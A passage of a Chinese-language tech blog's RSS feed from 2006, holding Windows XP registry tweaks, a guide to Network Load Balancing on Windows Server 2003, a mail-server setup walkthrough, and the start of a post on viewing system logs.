lang="EN-US">[dword:00000001]</span>。<span lang="EN-US"><br />8</span>、将系统版本显示在桌面上<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt;[Control Panel]--&gt;[Desktop]</span>，将右面窗口的<span lang="EN-US">[PaintDesktopVersion]</span>数值资料更改为<span lang="EN-US">[1]</span>，重新启动后操作系统的版本便会显示在桌面的右下角。<span lang="EN-US"><br /><br />——</span>功能调整<span lang="EN-US"><br />1</span>、取消<span lang="EN-US"> Windows </span>图片及传真查看器的默认值<span lang="EN-US"><br /></span>在我的电脑和 资源管理器看图时均以<span lang="EN-US">Windows </span>图片及传真查看器为默认值 ，如需取消此项默认值，可按下修改：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Classes]--&gt;[CLSID]--&gt;[{e84fda<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="7" unitname="C">7c</st1:chmetcnv>-1d<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6a</st1:chmetcnv><st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="True" hasspace="False" sourcevalue="45" unitname="F">-45f</st1:chmetcnv>6-b725-cb<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="260" unitname="C">260c</st1:chmetcnv>236066}] --&gt;[shellex]</span>，删除<span lang="EN-US">[MayChangeDefaultMenu]</span>的项便可。<span lang="EN-US"><br />2</span>、删除共享分享及用户活页夹<span lang="EN-US"><br /></span>除正常<span lang="EN-US">[</span>我的文件<span lang="EN-US">]</span>及<span lang="EN-US">[</span>共享文件夹<span lang="EN-US">]</span>外，每个用户都会有一个独立的活页夹，按如下设定则只会保留我的活页夹，其余的不会显示出来：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Explorer] --&gt;[MyComputer]--&gt;[NameSpace]</span>，在<span lang="EN-US">[DelegateFolders]</span>下删除<span lang="EN-US">[{<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="59031" unitname="a">59031a</st1:chmetcnv>47<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="True" hasspace="False" sourcevalue="3" unitname="F">-3f</st1:chmetcnv>72 <st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="True" hasspace="False" sourcevalue="44" unitname="a">-44a</st1:chmetcnv>7<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="True" hasspace="False" sourcevalue="89" unitname="C">-89c</st1:chmetcnv>5-5595fe6b30ee}]</span>项。<span lang="EN-US"><br />3</span>、关闭自动重新启动功能<span lang="EN-US"><br /></span>当<span lang="EN-US"> Windows XP </span>遇到严重问题时便会突然重新启动，按下更改可以取消此功能：<span lang="EN-US"> v;V  NKl7   <br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt; [SYSTEM]--&gt;[CurrentControlSet]--&gt;[Control]--&gt;[CrashControl]</span>，将<span lang="EN-US"> [AutoReboot]dword </span>值更改为<span lang="EN-US">[0]</span>，重新启动生效。<span lang="EN-US"><br />4</span>、隐藏回收站<span lang="EN-US">  <br /></span>隐藏回收站 ，是指不会显示在桌面及资源管理器里，隐藏并不等于停止这个功能，如使用登录文件更改者请先汇出有关登录文件作备份，登录文件更改<span lang="EN-US"> (</span>适用于<span lang="EN-US"> Windows XP </span>家用及商业版本<span lang="EN-US">)</span>：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Explorer] --&gt;[Desktop]--&gt;[NameSpace]</span>，将<span lang="EN-US">[{645FF040-5081-101B<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="True" hasspace="False" sourcevalue="9" unitname="F">-9F</st1:chmetcnv>08- 00AA<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="F">002F</st1:chmetcnv>954E}]</span>删除便可重新登录后生效。<span lang="EN-US"><br />5</span>、停止<span lang="EN-US">“</span>磁盘空间不足<span lang="EN-US">”</span>的通知功能<span lang="EN-US"><br /></span>当磁盘驱动器的容量少于<span lang="EN-US"> 200MB </span>时<span lang="EN-US"> Windows XP </span>便会发出<span lang="EN-US">“</span>磁盘空间不足<span lang="EN-US">”</span>的通知，如需停止此功能<span lang="EN-US">,</span>可按下程序更改登录文件：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]</span>，在<span lang="EN-US"> [Policies]</span>下增加一个项名<span lang="EN-US">[Explorer](</span>如果已有就不用增加了<span lang="EN-US">)</span>，在<span lang="EN-US">[Explorer]</span>增加一个<span lang="EN-US"> DWORD </span>值，<span lang="EN-US">[NoLowDiskSpaceChecks]</span>数值资料为<span lang="EN-US">[1]= </span>停止通知，值资料为<span lang="EN-US">[0]= </span>默认值启动通知。<span lang="EN-US"><br /><br />——IE</span>设定<span lang="EN-US"><br />1</span>、修改或个性化<span lang="EN-US">IE</span>的标题列<span lang="EN-US"><br /></span>原<span lang="EN-US">[Microsoft Internet Explorer]</span>的标题列可根据下列办法更改为个人喜爱的名称，同样如经一些网站非法更改<span lang="EN-US">[Internet Explorer ]</span>的标题后也可按此办法还原。修改或个性化<span lang="EN-US"> Internet Explorer </span>的 标题列：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]——&gt; [HKEY_CURRENT_USER]--&gt;[Software]--&gt;[Microsoft]--&gt;[Internet Explorer]--&gt;[Main],</span>在名称栏中找到<span lang="EN-US">[Window Title]</span>，将其数值数据更改为个性化字符串，如果没有<span lang="EN-US">[Window Title]</span>，在<span lang="EN-US">[</span>名称<span lang="EN-US">]</span>内增加一个<span lang="EN-US">[</span>字符串值<span lang="EN-US">]</span>为<span lang="EN-US">[Window Title],[</span>数值数据<span lang="EN-US">]="</span>个性化字符串<span lang="EN-US">"</span>：（如图<span lang="EN-US">1</span>）<span lang="EN-US">  <br /></span>注：如还原<span lang="EN-US">[Internet Explorer ] </span>的默认值则将<span lang="EN-US">[Window Title ]</span>的整个<span lang="EN-US">[</span>字符串值<span lang="EN-US">]</span>删除便可。 （如图<span lang="EN-US">2</span>）<span lang="EN-US"><br /></span>更改后如上图<span lang="EN-US"><br />2</span>、彻底删除<span lang="EN-US"> Internet Explorer </span>工具列表上其它图标<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]</span>选<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[SOFTWARE]-- &gt;[Microsoft]--&gt;[InternetExplorer]--&gt;[Extensions]</span>，检查各数字文件夹的内容将不需要的整个文件夹删除便可。<span lang="EN-US"><br />3</span>、删除<span lang="EN-US"> Internet Explorer </span>工具栏上其它工具项目<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[ HKEY_LOCAL_MACHINE]--&gt;[ SOFTWARE]--&gt;[ Microsoft]--&gt;[Internet Explorer]--&gt;[ toolbar]</span>，检查各项内容将不需要的项目删除便可。<span lang="EN-US"><br />4</span>、更改工具列背景<span lang="EN-US"><br /></span>先预备一个<span lang="EN-US">Bitmap</span>格式图片，最好使用网页背景用可拼合的图：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Internet Explorer]--&gt;</span>在<span lang="EN-US">[Toolbar]</span>右边窗口增加一个字符串值名为<span lang="EN-US">[BackBitmapIE5]</span>，数值数据为<span lang="EN-US">[</span>文件位置及名称 例如<span lang="EN-US"> C:\Windows\abc.bmp]</span>，重新打开<span lang="EN-US"> Internet Explorer </span>即可。<span lang="EN-US"><br />5</span>、修正<span lang="EN-US"> IE </span>的首页画面<span lang="EN-US"><br /></span>在浏览一些不良网址时可能强将首页的设定更改如无法在<span lang="EN-US"> Internet Explorer</span>内修改时可按下修正：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Microsoft]--&gt;[Internet Explorer]--&gt;[Main]</span>，将<span lang="EN-US">[Start Page]</span>及<span lang="EN-US">[Default_Page_URL](</span>如有<span lang="EN-US">) </span>的数值数据更改为所选首页画面的网址，继续更改<span lang="EN-US">[HKEY_CURRENT_USER]--&gt;[Software]--&gt; [Microsoft]--&gt;[Internet Explorer]--&gt;[Main]</span>，同样将<span lang="EN-US">[Start Page]</span>及<span lang="EN-US">[Default_Page_URL](</span>如有<span lang="EN-US">) </span>的数值数据更改为所选首页画面的网址。<span lang="EN-US"><br />6</span>、个性化<span lang="EN-US"> Outlook Express </span>的标题列<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Identities]--&gt;</span>选数字值<span lang="EN-US">[xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx]</span>只有这一组，<span lang="EN-US"> [Software]--&gt;[Microsoft]--&gt;[Outlook Express]--&gt;[5.0]</span>，在右边窗口内容找<span lang="EN-US">[WindowTitle]="</span>更改为个性化字符串<span lang="EN-US">"</span>如果没有<span lang="EN-US">[WindowTitle]-- &gt;</span>在<span lang="EN-US">[</span>内容<span lang="EN-US">]</span>内增加一个<span lang="EN-US">[</span>字符串值<span lang="EN-US">]</span>为<span lang="EN-US">[Window Title],[</span>数值数据<span lang="EN-US">]="</span>个性化字符串<span lang="EN-US">"</span>，如还原<span lang="EN-US">[Outlook Express ] </span>的默认值则将<span lang="EN-US">[WindowTitle ]</span>的整个<span lang="EN-US">[</span>字符串值<span lang="EN-US">]</span>删除便可。<span lang="EN-US"><br />7</span>、让<span lang="EN-US"> IE6 </span>可以同时下载超过两个文件<span lang="EN-US"><br /></span>在常规下，<span lang="EN-US">Internet Explorer 6 </span>同时最多只可以下载两个文件，通过下面的修改可同时下载多达十个文件：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt;[\ Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[InternetSettings]</span>，在右边窗口增加下列两个<span lang="EN-US">[Dword]</span>值，<span lang="EN-US">[MaxConnectionsPer1_0Server]</span>数值数据为<span lang="EN-US">[<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="a">0000000a</st1:chmetcnv>]</span>即十进制<span lang="EN-US">[10]</span>，<span lang="EN-US"> [MaxConnectionsPerServer]</span>数值数据为<span lang="EN-US">[<st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="a">0000000a</st1:chmetcnv>]</span>即十进制<span lang="EN-US">[10]</span>，重新启动即可。<span lang="EN-US"><br />8</span>、重新安装<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit] --&gt; [HKEY_LOCAL_MACHINE]--&gt;[SOFTWARE]--&gt;[Microsoft]--&gt;[Active Setup]--&gt;[Installed Components]--&gt;[{89820200-ECBD-11cf-8B85-00AA005B4383} ]</span>，将<span lang="EN-US">[IsInstalled]</span>的<span lang="EN-US"> DWORD </span>资料数值改为<span lang="EN-US">[0]</span>，这样更改使系统认识<span lang="EN-US">IE</span>尚未安装，退出<span lang="EN-US">[Regedit]</span>及下载及安装<span lang="EN-US"> Internet Explorer<o:p></o:p></span></span>
		</p>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/12442.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-09-14 11:04 <a href="http://www.cppblog.com/cqyangjf/archive/2006/09/14/12442.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WEB网络负载平衡方案可用与citrix</title><link>http://www.cppblog.com/cqyangjf/archive/2006/07/19/10224.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 19 Jul 2006 06:18:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/07/19/10224.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/10224.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/07/19/10224.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/10224.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/10224.html</trackback:ping><description><![CDATA[WEB网络负载平衡方案可用与citrix<br />一、网络负载平衡的优点<br />　　1.网络负载平衡允许你将传入的请求传播到最多达32台的服务器上，即可以使用最多32台服务器共同分担对外的网络请求服务。网络负载平衡技术保证即使是在负载很重的情况下它们也能作出快速响应。<br />　　2.网络负载平衡对外只须提供一个IP地址（或域名）。<br />　　3.如果网络负载平衡中的一台或几台服务器不可用时，服务不会中断。网络负载平衡自动检测到服务器不可用时，能够迅速在剩余的服务器中重新指派客户机通讯。此保护措施能够帮助你为关键的业务程序提供不中断的服务。可以根据网络访问量的增多来增加网络负载平衡服务器的数量。<br />　　4.网络负载平衡可在普通的计算机上实现。<br />　　在Windows Server 2003中，网络负载平衡的应用程序包括Internet信息服务(IIS)、ISA　Server 2000防火墙与代理服务器、VPN虚拟专用网、终端服务器、Windows Media Services（Windows视频点播、视频广播）等服务。同时，网络负载平衡有助于改善你的服务器性能和可伸缩性，以满足不断增长的基于Internet客户端的需求。<br />　　网络负载平衡可以让客户端用一个逻辑Internet名称和虚拟IP地址（又称群集IP地址）访问群集，同时保留每台计算机各自的名称。<br />　　下面，我们将在两台安装Windows Server 2003的普通计算机上，介绍网络负载平衡的实现及应用。<br />二、网络负载平衡的实现<br />　　这两台计算机中，一台计算机名称为w2003-1，IP地址为202.206.197.190，另一台名为w2003-2，IP地址为202.206.197.191。<br />　　规划网络负载平衡群集使用的IP地址为202.206.197.195，规划网络负载平衡群集完整的计算机名称为cluster.heinfo.edu.cn。你需要在heinfo.edu.cn域中注册此主机名称并将地址设置为202.206.197.195。如果你没有DNS，可以在需要访问网络负载平衡的客户机（包括网络负载平衡主机）上编辑%systemroot%\system32\drivers\etc目录下的hosts文件，添加一条信息“202.206.197.195  cluster.heinfo.edu.cn”，即可解决DNS域名解析的问题。<br />　　当正式应用时，客户机只需要使用cluster.heinfo.edu.cn或IP地址202.206.197.195来访问服务器，网络服务平衡会根据每台服务器的负载情况自动选择202.206.197.190或者202.206.197.191对外提供服务。<br />　　网络负载平衡的实现过程如下：<br />　　在实现网络负载平衡的每一台计算机上，只能安装TCP/IP协议，不要安装任何其他的协议（如IPX协议或者NetBEUI协议），在网络属性中，“网络负载平衡”也不能被选择，这可以从“网络连接属性”中查看。<br />　　①先进入第一台计算机，以管理员身份登录，从“管理工具”中运行“网络负载平衡管理器”，用鼠标右键单击“网络负载平衡群集”，从出现的菜单中选择“新建群集”，进入“群集参数”界面（图1）。<br /><br />图1<br />　　在“IP地址”后面输入规划的群集参数地址202.206.197.195，在子网掩码处使用默认值，在“完整Internet名称”后面输入cluster.heinfo.edu.cn（也可以是其他的名称，但输入的DNS名称必须与输入的IP地址相符）。<br />　　如果允许远程控制，请选中“允许远程控制”，并在“远程密码”和“确认密码”处输入可以进行远程控制的密码。<br />②点击“下一步”按钮，进入群集IP地址页面后再进入“端口规则”界面，点击“下一步”按钮，进入“连接”界面（图2）。<br /><br />图2<br />　　③在“连接”界面的“主机”栏中输入当前计算机的名称w2003-1，然后点击“连接”按钮，将在“对配置一个新的群集可用的接口”框中显示出连接的计算机的网卡及IP地址。选择与群集IP地址同一网段的地址（用于对外提供网络应用的网卡），然后点击“下一步”按钮，进入设置“主机参数”界面，点击“完成”按钮，系统将自动开始网络负载平衡群集的配置。几分钟后，网络负载平衡群集配置完成。<br />　　④打开第二台计算机，并以管理员的身份登录进入。<br />　　注意：在网络负载平衡中的每个节点上，管理员账号的用户名和密码最好一致。<br />　　⑤然后，在第一台计算机上，用鼠标右键单击新创建的群集，从出现的菜单中选择“添加主机到群集”。将出现“连接”界面，在“主机”中输入第二台计算机的计算机名称，点击“连接”按钮，将会在“对配置群集可用的接口”下面显示出连接的计算机上的网络配置。选择202.206.197.191的网卡，进入主机参数界面，点击“完成”按钮，即可返回网络负载平衡管理器（图3）。<br /><br />图3<br />　　⑥关闭网络负载平衡管理器后再进入网络负载平衡管理器。用鼠标右键单击“网络负载平衡群集”，从出现的菜单中选择“连接到现存的”，将会弹出“连接”界面。<br />　　输入第一台计算机的名称，点击“连接”按钮，在“群集”下面将列出群集的IP地址，选择此IP地址，并点击“完成”按钮，连接群集即可完成。<br />以后，如果这两台服务器不能满足需求，可以按以上步骤添加第3台、第4台计算机到网络负载平衡中以满足要求。<br />　三、用IIS服务验证网络负载平衡<br />　　网络负载平衡配置好后，为了实现某项具体的服务，需要在网络负载平衡的计算机上安装相应的服务。例如：为了实现IIS网站的负载平衡，需要在相应的网络负载平衡的计算机上安装IIS服务。<br />　　安装网络负载平衡的应用程序时，不需要特别的方法，只需要在配置好网络负载平衡的计算机上安装相应的服务即可。但是为了让每个用户在通过网络负载平衡访问到不同的计算机时，能够访问到一致的数据，需要在网络负载平衡的每台计算机上保持数据的一致性。举例来说：实现了两个节点的IIS的网络负载平衡，为了保证两个网站内容的一致性，除了这两个IIS服务器的配置相同外，相应的网站数据必须一致。<br />　　为了检验网络负载平衡，我们可以通过IIS来进行验证，其他的一些应用如终端服务、Windows Media服务与IIS的应用相类似。<br />　　在网络负载平衡的每一台计算机上安装IIS服务，方法如下：<br />　　在“添加/删除程序”中，点击“添加Windows组件”，进入Windows组件向导，双击“应用程序服务器”，进入“应用程序服务器”（图4）。 <br /><br />图4<br />　　选中ASP.NET、Internet信息服务及应用网络COM+访问后，即可开始安装IIS服务。<br />　　安装之后，进入第一台计算机的inetpub\wwwroot目录，新建一个文本文件，输入以下内容：<br />　　&lt;html&gt;<br />　　This win2003-1<br />　　&lt;/html&gt;<br />　　然后将它保存为default.htm文件。这个网页在IE中将显示如下内容：<br />　　This w2003-1<br />　　在第二台计算机的inetpub\wwwroot目录，新建一个文本文件，并输入下面的内容：<br />　　&lt;html&gt;<br />　　This win2003-2<br />　　&lt;/html&gt;<br />　　这个网页在IE浏览器中将显示“This w2003-2”，随后将这个文件以default.htm名称保存。<br />　　然后，在其他计算机上的IE浏览器中键入http//cluster.heinfo.edu.cn，将会显示为“This win2003-1”或“This win2003-2”，根据网络的负载，网络负载平衡会自动转发到第一台计算机或第二台计算机。为了验证效果，你可以在浏览的时候，拔掉第一台计算机的网线或拔掉第二台机器的网线，将会发现浏览到的将是不同内容。当然，我们只是测试的时候，为了验证网络负载平衡的效果，两个网站的内容不一致，而在正式应用的时候，网络负载平衡群集的每个节点计算机的内容将是一致的，这样，不管使用那一个节点响应，都保证访问的内容是一致的。<br /><img src ="http://www.cppblog.com/cqyangjf/aggbug/10224.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-07-19 14:18 <a href="http://www.cppblog.com/cqyangjf/archive/2006/07/19/10224.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用Win2003架设邮件服务器</title><link>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10126.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Sun, 16 Jul 2006 06:45:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10126.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/10126.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10126.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/10126.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/10126.html</trackback:ping><description><![CDATA[
		<font face="宋体">很多企业局域网内都架设了邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">，用于进行公文发送和工作交流。但使用专业的企业邮件</font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体" color="#002c99">系统</font>
		</a>
		<font face="宋体">软件需要大量的资金投入，这对于很多企业来说是无法承受的。其实我们可以通过Windows Server 2003提供的POP3服务和SMTP服务架设小型邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">来满足我们的需要。一、安装POP3和SMTP服务组件Windows Server 2003默认情况下是没有安装POP3和SMTP服务组件的，因此我们要手工添加。1.安装POP3服务组件以</font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体" color="#002c99">系统</font>
		</a>
		<font face="宋体">管理员身份登录Windows Server 2003 </font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体" color="#002c99">系统</font>
		</a>
		<font face="宋体">。依次进入“控制面板→添加或删除</font>
		<a href="http:///Dev/index.html" target="_blank">
				<font face="宋体" color="#002c99">程序</font>
		</a>
		<font face="宋体">→添加/删除Windows组件”，在弹出的“Windows组件向导”对话框中选中“电子邮件服务”选项，点击“详细信息”按钮，可以看到该选项包括两部分内容：POP3服务和POP3服务Web管理。为方便用户远程Web方式管理邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">，建议选中“POP3服务Web管理”。2.安装SMTP服务组件选中“应用</font>
		<a href="http:///Dev/index.html" target="_blank">
				<font face="宋体" color="#002c99">程序</font>
		</a>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">”选项，点击“详细信息”按钮，接着在“Internet信息服务（IIS）”选项中查看详细信息，选中“SMTP Service”选项，最后点击“确定”按钮。此外，如果用户需要对邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">进行远程Web管理，一定要选中“万维网服务”中的“远程管理（HTML）”组件。完成以上设置后，点击“下一步”按钮，</font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体" color="#002c99">系统</font>
		</a>
		<font face="宋体">就开始安装配置POP3和SMTP服务了。二、配置POP3</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">1.创建邮件域点击“开始→管理工具→POP3服务”，弹出POP3服务控制台窗口。选中左栏中的POP3服务后，点击右栏中的“新域”，弹出“添加域”对话框，接着在“域名”栏中输入邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">的域名，也就是邮件地址“@”后面的部分，如“rtj.net”，最后点击“确定”按钮。其中“rtj.net”为在Internet上注册的域名，并且该域名在DNS</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">中设置了MX邮件交换记录，解析到Windows Server 2003邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">IP地址上。2.创建用户邮箱选中刚才新建的“rtj.net”域，在右栏中点击“添加邮箱”，弹出添加邮箱对话框，在“邮箱名”栏中输入邮件用户名，然后设置用户密码，最后点击“确定”按钮，完成邮箱的创建。三、配置SMTP</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">完成POP3</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">的配置后，就可开始配置SMTP</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">了。点击“开始→</font>
		<a href="http:///Dev/index.html" target="_blank">
				<font face="宋体" color="#002c99">程序</font>
		</a>
		<font face="宋体">→管理工具→Internet信息服务（IIS）管理器”，在“IIS管理器”窗口中右键点击“默认SMTP虚拟</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">”选项，在弹出的菜单中选中“属性”，进入“默认SMTP虚拟</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">”窗口，切换到“常规”标签页，在“IP地址”下拉列表框中选中邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">的IP地址即可。点击“确定”按钮，这样一个简单的邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">就架设完成了。完成以上设置后，用户就可以使用邮件客户端软件连接邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">进行邮件收发工作了。在设置邮件客户端软件的SMTP和POP3</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">地址时，输入邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">的域名“rtj.net”即可。四、远程Web管理Windows Server 2003还支持对邮件</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">的远程Web管理。在远端客户机中，运行IE浏览器，在地址栏中输入“https://</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体" color="#002c99">服务器</font>
		</a>
		<font face="宋体">IP地址：8098”，将会弹出连接对话框，输入管理员用户名和密码，点击“确定”按钮，即可登录Web管理界面。</font>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/10126.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-07-16 14:45 <a href="http://www.cppblog.com/cqyangjf/archive/2006/07/16/10126.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>查看Windows2003系统日志的简单办法</title><link>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10124.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Sun, 16 Jul 2006 06:39:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10124.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/10124.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10124.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/10124.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/10124.html</trackback:ping><description><![CDATA[
		<font face="宋体">Windows日志</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">记录着Windows</font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体">系统</font>
		</a>
		<font face="宋体">运行的每一个细节，它对Windows的稳定运行起着至关重要的作用。通过查看</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">中的Windows日志，管理员可以及时找出</font>
